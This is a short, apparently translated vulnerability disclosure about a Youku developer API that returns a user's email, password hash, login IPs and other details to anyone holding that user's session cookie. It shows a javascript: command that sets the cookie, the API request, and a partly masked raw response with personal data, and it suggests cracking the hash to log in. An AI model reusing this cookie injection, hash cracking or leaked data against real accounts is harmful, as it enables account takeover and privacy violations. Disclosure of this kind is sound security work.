With Youku cookies, you can obtain user email addresses, user passwords, and other information.

The API of an application system of Youku does not strictly design the business logic when outputting user information. It directly outputs user's email address, user name, user password, user logon IP address, and other sensitive information. In the URL bar of the browser http://open.youku.com , Page value COOKIE = yktk; javascript: document. cookie = "yktk = 1 | 1366959328 | 15 | aWQ6NzkyLG5uOklydm ***** % 3D % 3D | 4b78234d9d0ea906ce5fb91978a0 ***** | principal | 1"; access the following API: http://open.youku.com /Developer/is_login {"errno": 0, "data": [{"email_status": 1, "uid": 2071704, "reason": null, "status ": 0, "nickname": "panzhiqi", "bflag": 0, "from": null, "nameCheckStatus": 0, "ctime": 1319197231644, "password ": "06fdf768fb38 ***** c7f9a12d41324425", "ip ":"***. 129.39.207 "," username ":" panz ***** "," email ":" panz ***** @ gmail.com "," loginIP ":" 218.30.180.177 ", "passKey": "581b911f505022b724dddacede9fca70", "domain": "panz ****", "tmpEmai L ":" "," oldUsername ": null," login ": 1367118594128," password_status ": 0," nameVersion ": 0," mobile ":" "}], "errText": "\ u6210 \ u529f", "is_developer": true} this API will directly return a large amount of sensitive information of the user corresponding to the COOKIE, which is extremely harmful. Use the cracked password to directly log on to the Youku console. Solution: Do not output information if possible.